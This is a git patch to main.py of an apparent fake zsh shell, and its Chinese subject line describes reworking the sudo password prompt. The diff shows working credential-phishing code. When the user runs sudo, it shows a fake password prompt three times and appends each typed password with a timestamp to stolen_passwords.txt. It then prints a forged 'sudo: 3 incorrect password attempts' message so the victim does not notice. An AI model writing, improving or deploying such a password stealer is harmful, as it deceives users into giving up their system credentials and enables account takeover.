From 904dfa4cf4b91c639e3cd8c917944d81c53162f6 Mon Sep 17 00:00:00 2001 From: HeXiangLong <3234374354@qq.com> Date: Wed, 2 Apr 2025 18:52:10 +0800 Subject: [PATCH] =?UTF-8?q?=E6=9B=B4=E6=96=B0=20main.py=EF=BC=8C=E4=BF=AE?= =?UTF-8?q?=E6=94=B9=20sudo=20=E5=AF=86=E7=A0=81=E8=BE=93=E5=85=A5?= =?UTF-8?q?=E9=80=BB=E8=BE=91=EF=BC=8C=E5=A2=9E=E5=8A=A0=E4=B8=89=E6=AC=A1?= =?UTF-8?q?=E5=B0=9D=E8=AF=95=E9=99=90=E5=88=B6=E5=B9=B6=E8=AE=B0=E5=BD=95?= =?UTF-8?q?=E5=88=B0=E6=96=87=E4=BB=B6?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- main.py | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) diff --git a/main.py b/main.py index 978615d..0616b5f 100644 --- a/main.py +++ b/main.py @@ -67,13 +67,14 @@ def pseudo_zsh(): # 伪造 sudo 密码输入并记录 if args[0] == 'sudo': - fake_password = getpass.getpass("Password: ") - with open("stolen_passwords.log", "a") as f: - current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S") # 获取当前时间 - f.write(f"[{current_time}] {fake_password}\n") # 写入时间和密码 - time.sleep(3) # 模拟延迟 - print("Sorry, try again.") - subprocess.run(args) # 重新执行 sudo 以要求真实密码 + for attempt in range(3): # 循环 3 次 + fake_password = getpass.getpass("Password: ") + with open("stolen_passwords.txt", "a") as f: + current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S") # 获取当前时间 + f.write(f"[{current_time}] {fake_password}\n") # 写入时间和密码 + time.sleep(1) # 模拟延迟 + print("Sorry, try again.") + print("sudo: 3 incorrect password attempts") # 提示错误次数 continue # 执行普通命令